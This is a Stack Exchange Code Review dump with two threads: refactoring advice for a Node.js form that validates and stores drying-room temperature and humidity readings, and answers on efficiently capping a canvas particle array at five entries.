<span aria-hidden="true">&times;</span>
</button>
</div>
<div class="modal-body">
<p>Some temperatures or humidity values have not met their targets.</p>
<p>- Re-check or continue submitting current data.</p>
</div>
<div class="modal-footer">
<button id="submit-email" type="button" class="btn btn-primary">Submit</button>
<button type="button" class="btn btn-secondary" data-dismiss="modal">Close</button>
</div>
</div>
</div>
</div>
<script>
// Store DOM Strings
var DOMStrings = {
room_options: '#RoomMenu'
};
// On selected option, show specific div element
showActiveElement = () => {
for(const option of document.querySelector(DOMStrings.room_options).options) {
document.querySelector(`#${option.value}`).style.display = "none";
}
if(document.querySelector(DOMStrings.room_options).value === 'dry-1') {
document.querySelector('#dry-1').style.display = "block";
} else if (document.querySelector(DOMStrings.room_options).value === 'dry-2') {
document.querySelector('#dry-2').style.display = "block";
} else if (document.querySelector(DOMStrings.room_options).value === 'dry-3') {
document.querySelector('#dry-3').style.display = "block";
}
}
// Show selected div element from options
document.querySelector(DOMStrings.room_options).addEventListener('change', () => {
showActiveElement();
});
// Validate data
document.getElementById("form").addEventListener("submit", (e) => {
const inputs = document.querySelectorAll('#form input');
let bool;
// 1. Check if input fields are empty
const empty = [].filter.call(inputs, e => e.value === "");
let notEmpty;
if(empty.length === 0) {
notEmpty = true;
} else {
e.preventDefault();
document.getElementById('errors').style.opacity = 1;
empty.forEach(element => {
element.style.borderColor = "red";
element.placeholder = "Required";
element.addEventListener("input", (e) => {
if(element.value === "") {
bool = false;
element.style.borderColor = "red";
element.placeholder = "Required";
} else {
element.style.borderColor = "#fff";
}
const empty = [].filter.call(inputs, e => e.value === "");
if(empty.length === 0) {
document.getElementById('errors').style.opacity = 0;
} else {
document.getElementById('errors').style.opacity = 1;
}
});
});
}
// Validate Temperature and humidity values
if(notEmpty == true) {
for (var i = 0; i < inputs.length; i++) {
// Validate Temperatures for Drying room 1 & 2
if(inputs[i].name.match(/^(actual|min|max)-temp-(1|2)$/)) {
validateTempDryingRoom(parseFloat(inputs[i].value), inputs[i], e);
}
// Validate Humidity for Drying room 1 & 2
if(inputs[i].name.match(/^(actual|min|max)humid(1|2)$/)) {
validateHumidityDryingRoom(parseFloat(inputs[i].value), inputs[i], e);
}
// Validate Temp. for Dry Store
if(inputs[i].name.match(/^(actual|min|max)temp(3)$/)) {
validateTempDryStore(parseFloat(inputs[i].value), inputs[i], e);
}
// Validate humidity for Dry Store
if(inputs[i].name.match(/^(actual|min|max)humid(3)$/)) {
validateHumidityDryStore(parseFloat(inputs[i].value), inputs[i], e);
}
}
}
});
function validateTempDryingRoom(value, item, e) {
if(value < 39.4 || value > 49) {
e.preventDefault();
item.style.backgroundColor = 'red';
$("#myModal").modal();
} else {
item.style.backgroundColor = '#fff';
}
}
function validateHumidityDryingRoom(value, item ,e) {
if(value < 14 || value > 30) {
e.preventDefault();
item.style.backgroundColor = 'red';
$("#myModal").modal();
} else {
item.style.backgroundColor = '#fff';
}
}
function validateTempDryStore(value, item, e) {
if(value < 10 || value > 27.2) {
e.preventDefault();
item.style.backgroundColor = 'red';
$("#myModal").modal();
} else {
item.style.backgroundColor = '#fff';
}
}
function validateHumidityDryStore(value, item ,e) {
if(value < 40 || value > 70) {
e.preventDefault();
item.style.backgroundColor = 'red';
$("#myModal").modal();
} else {
item.style.backgroundColor = '#fff';
}
}
document.getElementById('submit-email').addEventListener('click', () => {
const form = document.getElementById('form');
form.submit();
});
// On load
window.onload = () => {
showActiveElement();
}
</script></code></pre>
</div>
</div>
</p>
|
[] |
[
{
"body": "<p>First, your code seems globally ok, and much of what I'll write here are details. Also of course, it does reflect my personnal opinion. While I try not to discuss points about my personnal opinion, but more generic matters, my personnals opinion may impact what I consider generic matters or not.</p>\n<h1>About comments</h1>\n<p>Far from me the idea to discourage you to comment your code, but comments may not always be a good idea.</p>\n<p>You've probably learnt that commenting code is good, it feels obvious, so obvious that you don't even understand why commenting may harm your code. The only drawback you probably see to commenting your code may be that you took time to do it.</p>\n<p>Well, if you never go back to your code again, you don't need to comment it. Well most of code are "maintained" and evolve anyway. And that's the problem. In general, when the code change, the comments around the code tends not to change. When there is a problem in the code, you'll correct the code until the problem is resolved. When there is a problem in a comment, nothing will be done because no one will notice.</p>\n<p>Also comments should be meaningful. Usually you can replace some useless comments by correct variable/function/classe names. An example (that is much worse than your code, but to show the real difference)</p>\n<pre class=\"lang-js prettyprint-override\"><code>// store an empty array in the variable a\nlet a = [];\n\n// [...]\n\n// if the string k starts with "at", append the content of the value v at the end of the array a\nif (k.startsWith("at")) {\n a.push(v);\n}\n</code></pre>\n<p>And now compare it to the following uncommented code:</p>\n<pre class=\"lang-js prettyprint-override\"><code>let actualTemperatureArray = [];\n\n// [...]\n\nif (queryParameterKey.startsWith("actualTemperature")) {\n actualTemperatureArray.push(value);\n}\n</code></pre>\n<p>The idea is that the name of your variable should reflect what the variable does. And if it's it, you don't need to comment it.\nSame for the "parsing" code. The fact that you look at the query parameter key and look if it starts with a certain string is obvious, it's literally what the code is saying. An interesting comment would not be what's your doing in, but <em>why</em> you're doing it. If it's not obvious. If it's obvious perhaps the comment is useless.</p>\n<p>But comment your tricks. For example, if you're skipping one value in a loop because "the first value should be ignored", this is the kind of thing that <em>should</em> be commented. There is a trick here that the future reader <em>must</em> know.</p>\n<p>But still you may want to comment your variable declaration. So if you do so, at least use <a href=\"https://jsdoc.app/\" rel=\"nofollow noreferrer\">JSDoc</a> (<a href=\"https://jsdoc.app/\" rel=\"nofollow noreferrer\">https://jsdoc.app/</a>). JSDoc let you add some static type definition that:</p>\n<ul>\n<li>Can be used by type checkers to validate javascript like static type languages</li>\n<li>Is used by modern IDE (Visual Code, WebStorm, etc.) to provide information about code.</li>\n</ul>\n<p>Now let's study examples from your code.</p>\n<pre class=\"lang-js prettyprint-override\"><code> // Array to store actual temperature\n var actualTemp = [];\n</code></pre>\n<p>Do you thing actualTemp is enough for someone to understand what the variable does ? I'm not saying it isn't. But you have to decide. I'll take a conservative point of view, and consider that actualTemperatureArray is better (but know better the context, and perhaps in your field you thing that <em>temp</em> is enough, and nobody will think that in <strong>that</strong> context, it may mean <em>temporary</em>).</p>\n<p>And because <code>actualTemperatureArray</code> carry all the meaning you need, a comment is not necessary.</p>\n<pre class=\"lang-js prettyprint-override\"><code> var actualTemperatureArray = [];\n</code></pre>\n<p>Of course, you'll store actual temperature in that array. No need to say it.</p>\n<p><em>But</em>, if you want to say it, use JSDoc.</p>\n<pre class=\"lang-js prettyprint-override\"><code> /** @type {string[]} Array to store actual temperature */\n var actualTemperatureArray = [];\n</code></pre>\n<p>In your code, VS Code will show me the following tooltip, when I put my cursor over <code>actualTemp</code>:</p>\n<pre><code>(local var) actualTemp: any[]\n</code></pre>\n<p>So I know that this variable a local one, and it's an array of I don't know what.</p>\n<p>In the last example, will show me the following tooltip, when I put my cursor over <code>actualTemperatureArray</code>:</p>\n<pre><code>(local var) actualTemperatureArray: string[]\n@type — {string[]} Array to store actual temperature\n</code></pre>\n<p>This said, I don't want to discourage you from commenting, but to think about what you can bring to the reader that the code is not obiously providing. If you are just repeating what the code says, perhaps the comment is not necessary. If you bring insight about <em>why</em> you did this, it's probably an helpful comment.</p>\n<h1>Repetitions</h1>\n<p>The following block tend to have a lot of similar lines:</p>\n<pre class=\"lang-js prettyprint-override\"><code> // For each key that starys with ActualTemp store into array\n if (key.startsWith("actualtemp")) {\n actualTemperatureArray.push(value);\n }\n\n // minTemp\n if (key.startsWith("mintemp")) {\n minimalTemperatureArray.push(value);\n }\n\n // maxTemp\n if (key.startsWith("maxtemp")) {\n maximalTemperatureArray.push(value);\n }\n\n // actualHumidity\n if (key.startsWith("actualhumid")) {\n actualHumidityArray.push(value);\n }\n\n // minHumidity\n if (key.startsWith("minhumid")) {\n minimalHumidityArray.push(value);\n }\n\n // maxHumidity\n if (key.startsWith("maxhumid")) {\n maximalHumidityArray.push(value);\n }\n\n // Room Names\n if (key.startsWith("dryingroom")) {\n roomNames.push(value);\n }\n</code></pre>\n<p>It may be a good idea to factorize that.</p>\n<p>Each block manipulate a different variable. So let's create an object containing all those variables, so we can be more generic when accessing those array variables.</p>\n<p>We need a data structure to "describe" the data we need. I consider that names like <code>"actualtemp"</code> or <code>"mintemp"</code> are part of the protocol and can't be changed.</p>\n<p>I could use that as index, but I'll use more explicit names, but that part can be simplified.</p>\n<p>We first create a structure describing the data we need (note that the order is important, it's the one in the query, as I'll reuse that order later to create the query).</p>\n<pre class=\"lang-js prettyprint-override\"><code> /**\n * @type {Object.<string, string>} The prefix of all body.req referenced by the name of the parameter\n */\n var paramKeyPrefixesByParamName = {\n roomName: "dryingroom",\n actualTemperature: "actualtemp",\n minimalTemperature: "mintemp",\n maximalTemperature: "maxtemp",\n actualHumidity: "actualhumid",\n minimalHumidity: "minhumid",\n maximalHumidity: "maxhumid",\n };\n /** @type{string[]} The parameter names */\n const parameterNames = Object.keys(paramKeyPrefixesByParamName);\n\n</code></pre>\n<p>Now let's create the arrays:</p>\n<pre class=\"lang-js prettyprint-override\"><code> /**\n * @type {Object.<string, string[]>} The array of values for each parameter, indexed by the name of the parameter\n */\n var valueArraysByParamName = {};\n</code></pre>\n<p>I haven't created the arrays here, I create them later. I could have done it here.</p>\n<pre class=\"lang-js prettyprint-override\"><code> // Loop thorugh each req.body values\n for (var key in req.body) {\n // Store req.body key to value var\n var value = req.body[key];\n\n // We iterate over all the\n // parameter names\n // (roomName, actualTemperature, ...)\n parameterNames.forEach((parameterName) => {\n // We extract the prefix\n // from the parameter names\n // (dryingroom, actualtemp, ...)\n const prefix = paramKeyPrefixesByParamName[parameterName];\n if (key.startsWith(prefix)) {\n // We make sure the array exists.\n // If it doesn't exist, we create it.\n if (! valueArraysByParamName[parameterName]) {\n valueArraysByParamName[parameterName] = [];\n }\n // We append the value in the correct array.\n valueArraysByParamName[parameterName].push(value);\n }\n })\n }\n</code></pre>\n<p>We can now create the query:</p>\n<pre class=\"lang-js prettyprint-override\"><code> /** @type {string[][]} An array to create custom MySQL query */\n var values = [];\n\n // For each temperature value, store the values associated to that temperature\n for (var i = 0; i < actualTemperatureArray.length; i++) {\n values.push([\n ...parameterNames.map((parameterName)=>valueArraysByParamName[parameterName][i]),\n formatDay,\n res.locals.user.id\n ]);\n }\n</code></pre>\n<p>So now, the server code look like:</p>\n<pre class=\"lang-js prettyprint-override\"><code>// 21-TEMP-01a\nexports.TEMP01A21 = async function (req, res) {\n\n /**\n * @type {Object.<string, string>} The prefix of all body.req referenced by the name of the parameter\n */\n var paramKeyPrefixesByParamName = {\n roomName: "dryingroom",\n actualTemperature: "actualtemp",\n minimalTemperature: "mintemp",\n maximalTemperature: "maxtemp",\n actualHumidity: "actualhumid",\n minimalHumidity: "minhumid",\n maximalHumidity: "maxhumid",\n }\n /**\n * @type {Object.<string, string[]>} The array of values for each parameter, indexed by the name of the parameter\n */\n var valueArraysByParamName = {};\n\n // Loop thorugh each req.body values\n for (var key in req.body) {\n // Store req.body key to value var\n var value = req.body[key];\n\n // We iterate over all parameter names (roomName, actualTemperature, ...)\n Object.keys(paramKeyPrefixesByParamName).forEach((parameterName) => {\n // We extract the prefix from the parameter name (dryingroom, actualtemp, ...)\n const prefix = paramKeyPrefixesByParamName[parameterName];\n if (key.startsWith(prefix)) {\n // We make sure the array exists. If it doesn't exist, we create it.\n if (! valueArraysByParamName[parameterName]) {\n valueArraysByParamName[parameterName] = [];\n }\n // We append the value in the correct array.\n valueArraysByParamName[parameterName].push(value);\n }\n })\n }\n\n\n // Get todays date\n var today = new Date();\n // Format the date\n var formatDay = today.toISOString().substring(0, 10);\n\n /** @type {string[][]} An array to create custom MySQL query */\n var values = [];\n\n // For each temperature value, store the values associated to that temperature\n for (var i = 0; i < actualTemperatureArray.length; i++) {\n values.push([\n ...Object.keys(paramKeyPrefixesByParamName).map((parameterName)=>valueArraysByParamName[parameterName][i]),\n formatDay,\n res.locals.user.id\n ]);\n }\n\n db.query("insert into 21TEMP01a (room_name, actual_temperature, min_temperature, max_temperature, actual_humidity, min_humidity, max_humidity, time, user) values ?", [values], (error, result) => {\n if (error) {\n console.log(error);\n }\n else {\n res.redirect('/reports/daily');\n }\n });\n}\n</code></pre>\n<h1>Repetition of the front side</h1>\n<p>In the front side you have some repetitions:</p>\n<pre class=\"lang-js prettyprint-override\"><code>function validateTempDryingRoom(value, item, e) {\n\n if(value < 39.4 || value > 49) {\n e.preventDefault();\n item.style.backgroundColor = 'red';\n $("#myModal").modal();\n } else {\n item.style.backgroundColor = '#fff';\n }\n}\n\nfunction validateHumidityDryingRoom(value, item ,e) {\n\n if(value < 14 || value > 30) {\n e.preventDefault();\n item.style.backgroundColor = 'red';\n $("#myModal").modal(); \n } else {\n item.style.backgroundColor = '#fff';\n }\n}\n\nfunction validateTempDryStore(value, item, e) {\n if(value < 10 || value > 27.2) {\n e.preventDefault();\n item.style.backgroundColor = 'red';\n $("#myModal").modal();\n } else {\n item.style.backgroundColor = '#fff';\n }\n}\n\nfunction validateHumidityDryStore(value, item ,e) {\n\n if(value < 40 || value > 70) {\n e.preventDefault();\n item.style.backgroundColor = 'red';\n $("#myModal").modal(); \n } else {\n item.style.backgroundColor = '#fff';\n }\n}\n</code></pre>\n<p>It look like you're doing the same thing again and again.</p>\n<p>Let's rewrite this.</p>\n<pre class=\"lang-js prettyprint-override\"><code>function createValidateElement(minValue, maxValue) {\n return function (value, item, e) {\n\n if(value < minValue || value > maxValue) {\n e.preventDefault();\n item.style.backgroundColor = 'red';\n $("#myModal").modal();\n } else {\n item.style.backgroundColor = '#fff';\n }\n }\n}\n\nconst validateTempDryingRoom = createValidateElement(39.4, 49);\nconst validateHumidityDryingRoom = createValidateElement(14, 30);\nconst validateTempDryStore = createValidateElement(10, 27.2);\nconst validateHumidityDryStore = createValidateElement(40, 70);\n</code></pre>\n<p>I created a function that create a function.</p>\n<p>Be careful, because <code>validateTempDryingRoom</code>, <code>validateHumidityDryingRoom</code>, <code>validateTempDryStore</code>, <code>validateHumidityDryStore</code> are now classical variable and not functions, they should be declared before being used.</p>\n<p>But still, the usage of those validators is also a repetition:</p>\n<pre class=\"lang-js prettyprint-override\"><code> // Validate Temperatures for Drying room 1 & 2\n if(inputs[i].name.match(/^(actual|min|max)-temp-(1|2)$/)) {\n validateTempDryingRoom(parseFloat(inputs[i].value), inputs[i], e);\n }\n\n // Validate Humidity for Drying room 1 & 2\n if(inputs[i].name.match(/^(actual|min|max)humid(1|2)$/)) {\n validateHumidityDryingRoom(parseFloat(inputs[i].value), inputs[i], e);\n }\n\n // Validate Temp. for Dry Store\n if(inputs[i].name.match(/^(actual|min|max)temp(3)$/)) {\n validateTempDryStore(parseFloat(inputs[i].value), inputs[i], e);\n }\n\n // Validate humidity for Dry Store\n if(inputs[i].name.match(/^(actual|min|max)humid(3)$/)) {\n validateHumidityDryStore(parseFloat(inputs[i].value), inputs[i], e);\n }\n</code></pre>\n<p>So we need a data structure that describe the items being repeated.</p>\n<pre class=\"lang-js prettyprint-override\"><code>const dryDatas = {\n TempDryingRoom: {\n pattern: /^(actual|min|max)-temp-(1|2)$/,\n minValue: 39.4,\n maxValue: 49,\n },\n HumidityDryingRoom: {\n pattern: /^(actual|min|max)humid(1|2)$/,\n minValue: 14,\n maxValue: 30,\n },\n TempDryStore: {\n pattern: /^(actual|min|max)temp(3)$/,\n minValue: 10,\n maxValue: 27.2,\n },\n HumidityDryStore: {\n pattern: /^(actual|min|max)humid(3)$/,\n minValue: 40,\n maxValue: 70,\n },\n}\n</code></pre>\n<p>And then we can create the validators:</p>\n<pre class=\"lang-js prettyprint-override\"><code>const dryDataValidators = Object.fromEntries(Object.entries(dryDatas).map(([dryDataKey,dryDataValue])=>[dryDataKey, createValidateElement(dryDataValue.min, dryDataValue.max)]));\n</code></pre>\n<p>If you think it unreadable, you can use some more readable:</p>\n<pre class=\"lang-js prettyprint-override\"><code>const dryDataValidators = {};\nfor (let dryDataKey of Object.keys(dryDatas)) {\n const dryDataValue = dryDatas[dryDataKey];\n dryDataValidators[dryDataKey] = createValidateElement(dryDataValue.min, dryDataValue.max);\n}\n</code></pre>\n<p>It does the same thing...</p>\n<p>And then replace</p>\n<pre class=\"lang-js prettyprint-override\"><code> // Validate Temperature and humidity values\n if(notEmpty == true) {\n for (var i = 0; i < inputs.length; i++) {\n\n // Validate Temperatures for Drying room 1 & 2\n if(inputs[i].name.match(/^(actual|min|max)-temp-(1|2)$/)) {\n validateTempDryingRoom(parseFloat(inputs[i].value), inputs[i], e);\n }\n\n // Validate Humidity for Drying room 1 & 2\n if(inputs[i].name.match(/^(actual|min|max)humid(1|2)$/)) {\n validateHumidityDryingRoom(parseFloat(inputs[i].value), inputs[i], e);\n }\n\n // Validate Temp. for Dry Store\n if(inputs[i].name.match(/^(actual|min|max)temp(3)$/)) {\n validateTempDryStore(parseFloat(inputs[i].value), inputs[i], e);\n }\n\n // Validate humidity for Dry Store\n if(inputs[i].name.match(/^(actual|min|max)humid(3)$/)) {\n validateHumidityDryStore(parseFloat(inputs[i].value), inputs[i], e);\n }\n }\n }\n</code></pre>\n<p>by</p>\n<pre class=\"lang-js prettyprint-override\"><code> // Validate Temperature and humidity values\n if(notEmpty == true) {\n for (var i = 0; i < inputs.length; i++) {\n // Iterate over all type of dryDatas (TempDryingRoom, HumidityDryingRoom, TempDryStore, ...)\n for (let dryDataKey of Object.keys(dryDatas)) {\n const pattern = dryDatas[dryDataKey].pattern;\n const validator = dryDataValidators[dryDataKey];\n if(inputs[i].name.match(pattern)) {\n validator(parseFloat(inputs[i].value), inputs[i], e);\n }\n }\n }\n }\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-30T11:24:55.590",
"Id": "490391",
"Score": "0",
"body": "I realized in the `or (var i = 0; i < actualTemperatureArray.length; i++) {` this `actualTemperatureArray` does not exist."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-27T09:54:15.287",
"Id": "249914",
"ParentId": "249831",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": "249914",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T10:22:20.400",
"Id": "249831",
"Score": "1",
"Tags": [
"javascript",
"node.js"
],
"Title": "Sending HTML reports to a database project"
}
|
249831
|
<p>I'm making a function that adds a new object to an array and removes the oldest if it has reached a specific length. Click the button in the example below. All objects are drawn until its array reaches a length of 5 when the oldest is removed.</p>
<p>Is there a better, more processor and memory efficient way to do this instead of needlessly throwing the oldest entry at the garbage collector?</p>
<p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false">
<div class="snippet-code">
<pre class="snippet-code-js lang-js prettyprint-override"><code>let c = document.getElementById("context");
let ctx = c.getContext("2d");
let particles = [];
function addParticle() {
particles.push({
x: Math.random() * 800,
y: Math.random() * 500,
width: Math.random() * 100 + 50,
height: Math.random() * 100 + 50,
color: '#' + Math.floor(Math.random() * 16777215).toString(16)
});
if (particles.length > 5) particles.shift();
draw();
}
function draw() {
ctx.clearRect(0, 0, 800, 500);
for (let i = 0; i < particles.length; i++) {
ctx.fillStyle = particles[i].color;
ctx.fillRect(particles[i].x, particles[i].y, particles[i].width, particles[i].height);
}
}</code></pre>
<pre class="snippet-code-html lang-html prettyprint-override"><code><button onclick="addParticle();">Add</button>
<canvas id="context" width="800" height="500"></canvas></code></pre>
</div>
</div>
</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T12:46:16.007",
"Id": "489905",
"Score": "1",
"body": "Your title should explain what your code does, not the changes you want to be made to it, or what performance \"features\" it has."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T12:54:11.650",
"Id": "489906",
"Score": "0",
"body": "@FreezePhoenix thank you for pointing that out. I've changed the title :)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T12:56:27.087",
"Id": "489907",
"Score": "1",
"body": "What does \"needlessly throwing the oldest entry at the garbage collector\" mean? In what way is it \"needless\"?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T13:05:09.180",
"Id": "489909",
"Score": "0",
"body": "@RoToRa it's needless because the array's length is capped to a specific number. Re-using objects, if possible, will incur less GC. The effects of garbage memory is noticeable when this function is run frequently."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T13:25:50.633",
"Id": "489911",
"Score": "3",
"body": "I really doubt that any effects of garbage collection are even measurable in this example. Generating the random numbers and drawing the rectangles probably take up more time than the memory handling of those few objects. Have you run some benchmarks?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T14:35:37.050",
"Id": "489934",
"Score": "0",
"body": "How about:\n`if(particles.length<5) particles.push(-whatever-);`\n`else for(var i=1; i<5; i++) particles[i-1]=particles[i];`\n`particles[4]=-whatever-;`\n?"
}
] |
[
{
"body": "<p>I think the current code is just fine from an efficiency standpoint. The overhead of a single small object is essentially nothing. Even if 1000 such objects were created and then got GC'd every time the button was clicked, on any remotely modern device, the performance impact would almost certainly be imperceptible.</p>\n<p>If you really wanted to be more efficient, it might be very slightly more efficient to use a rotating modulo index that gets used to assign the new object instead of re-shuffling the array indicies with <code>unshift</code>, but with only 5 elements in the array, it's not something worth worrying about. Better to worry about performance tweaks <em>only if</em></p>\n<ul>\n<li>The improvement is easy to implement and doesn't make the code harder to read, or</li>\n<li>You've tested the script on a low-end device and <em>know</em> that something isn't running as fast as it should - in which case you should run a check to see what section(s) of the code are causing the bottleneck(s), and then work on improving <em>only those bottlenecks</em>.</li>\n</ul>\n<p>IMO, anything else is premature optimization - your efforts are better spent elsewhere, such as making the code <em>clean</em> and <em>readable</em>, which usually matters far more than performance.</p>\n<p>And there are a number of improvements you could make on the code quality front:</p>\n<p><strong>Use <code>const</code></strong> by default - <a href=\"https://softwareengineering.stackexchange.com/questions/278652/how-much-should-i-be-using-let-vs-const-in-es6\">only use <code>let</code></a> when you must reassign the variable name. Using <code>const</code> makes the code more readable when one can identify at a glance that something isn't going to be reassigned.</p>\n<p><strong>Avoid inline handlers</strong> - they have a <a href=\"https://stackoverflow.com/a/59539045\">whole bunch of problems</a>, including a demented scope chain which virtually requires global pollution, mixing page content with presentation, and ugly escaping issues. When you have an event listener you want to attach to an element, better to use <code>addEventListener</code>.</p>\n<p><strong>Abstract iteration</strong> When iterating, unless you actually need to work with the index, it's more abstract and more readable to work with the <em>element</em> being iterated over directly instead. For example, rather than <code>particles[i].width</code>, it'd be nicer to use <code>particle.width</code>, or even just <code>width</code> extracted from the particle. You can do this by invoking <code>Array#forEach</code> or the array's iterator.</p>\n<p><strong>ID</strong> You have <code><canvas id="context" width="800" height="500"></canvas></code>. But the canvas is <em>not</em> the 2d context - giving the element an ID of <code>context</code> is somewhat misleading. Also, IDs create <a href=\"https://stackoverflow.com/questions/3434278/do-dom-tree-elements-with-ids-become-global-variables\">global variables by default</a>, unfortunately, which can sometimes lead to hard-to-understand bugs. You can select the canvas with <code>querySelector('canvas')</code> instead. (If you had a larger page and collisions were possible, you could give the element unique classes instead; classes do not create global identifiers.)</p>\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>const button = document.querySelector('button');\nbutton.addEventListener('click', addParticle);\n\nconst ctx = document.querySelector('canvas').getContext(\"2d\");\nconst particles = [];\n\nfunction addParticle() {\n particles.push({\n x: Math.random() * 800,\n y: Math.random() * 500,\n width: Math.random() * 100 + 50,\n height: Math.random() * 100 + 50,\n color: '#' + Math.floor(Math.random() * 16777215).toString(16)\n });\n\n if (particles.length > 5) particles.shift();\n\n draw();\n}\n\nfunction draw() {\n ctx.clearRect(0, 0, 800, 500);\n particles.forEach(({ color, x, y, width, height }) => {\n ctx.fillStyle = color;\n ctx.fillRect(x, y, width, height);\n });\n}</code></pre>\r\n<pre class=\"snippet-code-html lang-html prettyprint-override\"><code><button>Add</button>\n<canvas width=\"800\" height=\"500\"></canvas></code></pre>\r\n</div>\r\n</div>\r\n</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-27T02:45:40.587",
"Id": "490077",
"Score": "0",
"body": "After testing, I found that the native shift was better. However, the forEach slowed down performance - even without using destructuring assignment."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T14:25:35.340",
"Id": "249843",
"ParentId": "249835",
"Score": "4"
}
},
{
"body": "<p><strong>Edit 2</strong><br />\nSpecific to your code/side note of main question:<br />\nYou can create multiple canvas layers.<br />\nSee "Use multiple layered canvases for complex scenes" in <a href=\"https://developer.mozilla.org/en-US/docs/Web/API/Canvas_API/Tutorial/Optimizing_canvas\" rel=\"nofollow noreferrer\">Optimizing canvas - Web APIs | MDN</a><br />\n<strong>End Edit 2</strong></p>\n<p><strong>Edit 1</strong><br />\nAlternatively:</p>\n<pre><code>particles.length==5?[, ...particles]=[...particles, particle]:particles.push(particle);\n</code></pre>\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>var particles=[];\n\nfor(var i=0; i<10; i++) {\n var particle=Math.random().toFixed(5);\n particles.length==5?[, ...particles]=[...particles, particle]:particles.push(particle);\n console.log(\"[\"+particles.join(\", \")+\"]\");\n};</code></pre>\r\n<pre class=\"snippet-code-css lang-css prettyprint-override\"><code>.as-console-wrapper { max-height: 100% !important; top: 0; }</code></pre>\r\n</div>\r\n</div>\r\n</p>\n<p><strong>End Edit 1</strong></p>\n<p>As per my comment:</p>\n<pre><code> if(particles.length<5) {\n particles.push(particle);\n } else {\n for(var i=1; i<5; i++) {\n particles[i-1]=particles[i];\n }\n particles[4]=particle;\n }\n</code></pre>\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>let c = document.getElementById(\"context\");\nlet ctx = c.getContext(\"2d\");\nlet particles = [];\n\nfunction addParticle() {\n var particle={\n x: Math.random() * 800,\n y: Math.random() * 500,\n width: Math.random() * 100 + 50,\n height: Math.random() * 100 + 50,\n color: '#' + Math.floor(Math.random() * 16777215).toString(16)\n };\n if(particles.length<5) {\n particles.push(particle);\n } else {\n for(var i=1; i<5; i++) {\n particles[i-1]=particles[i];\n }\n particles[4]=particle;\n }\n\n draw();\n}\n\nfunction draw() {\n ctx.clearRect(0, 0, 800, 500);\n\n for (let i = 0; i < particles.length; i++) {\n ctx.fillStyle = particles[i].color;\n ctx.fillRect(particles[i].x, particles[i].y, particles[i].width, particles[i].height);\n }\n}</code></pre>\r\n<pre class=\"snippet-code-html lang-html prettyprint-override\"><code><button onclick=\"addParticle();\">Add</button>\n<canvas id=\"context\" width=\"800\" height=\"500\"></canvas></code></pre>\r\n</div>\r\n</div>\r\n</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T14:42:39.720",
"Id": "249846",
"ParentId": "249835",
"Score": "3"
}
},
{
"body": "<h1>Main question</h1>\n<blockquote>\n<p>Is there a better, more processor and memory efficient way to do this instead of needlessly throwing the oldest entry at the garbage collector?</p>\n</blockquote>\n<p>It seems that calling <code>shift()</code> is the fastest way to remove the first element<sup><a href=\"https://medium.com/@erictongs/the-best-way-to-remove-the-first-element-of-an-array-in-javascript-shift-vs-splice-694378a7b416\" rel=\"nofollow noreferrer\">1</a></sup></p>\n<p>While it is likely not going to make any noticeable difference when iterating over an array with five elements, the order in which particles are drawn doesn’t matter so one small improvement would be to <a href=\"https://www.freecodecamp.org/news/how-to-optimize-your-javascript-apps-using-loops-d5eade9ba89f/#optimizations\" rel=\"nofollow noreferrer\">loop backwards</a> - i.e. instead of:</p>\n<blockquote>\n<pre><code> for (let i = 0; i < particles.length; i++) {\n</code></pre>\n</blockquote>\n<p>Start <code>i</code> at the end of the array and decrement it until it reaches zero:</p>\n<pre><code>for (let i = particles.length; i--; /* intentional no-op */) {\n</code></pre>\n<p><code>i</code> will first be assigned <code>particles.length</code> and then be decremented by the <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for#Syntax\" rel=\"nofollow noreferrer\">condition expression</a> before the loop statements are executed.</p>\n<p>With this approach the length of the array is only referenced once, and the post-execution operation is eliminated because the decrease is the counter happens in the pre-test condition.</p>\n<h1>Review Points</h1>\n<h2>Good things</h2>\n<ul>\n<li>function names are appropriate and concise</li>\n<li>lines are terminated properly</li>\n<li>white space is used appropriately</li>\n</ul>\n<h2>Suggestions</h2>\n<h3>Variable declarations</h3>\n<p>As suggested in the answer by CertainPerformance any variable that does not need to be re-assigned can be declared with <code>const</code> instead of <code>let</code> to avoid accidental re-assignment. This works for the array <code>particles</code> since it is never re-assigned.</p>\n<h3>Variable names</h3>\n<p>Names like <code>c</code> are vague. A more appropriate name would be <code>canvas</code>.</p>\n<h3>Hard-coded numbers</h3>\n<p>Is <code>16777215</code> formulated somehow? Perhaps it should be declared as a constant.</p>\n<p>Instead of hard-coded values for the height and width used in <code>addParticle()</code></p>\n<blockquote>\n<pre><code>x: Math.random() * 800,\ny: Math.random() * 500,\n</code></pre>\n</blockquote>\n<p>values of the canvas could be used:</p>\n<pre><code>x: Math.random() * canvas.width,\ny: Math.random() * canvas.height,\n</code></pre>\n",
"comments": [
{
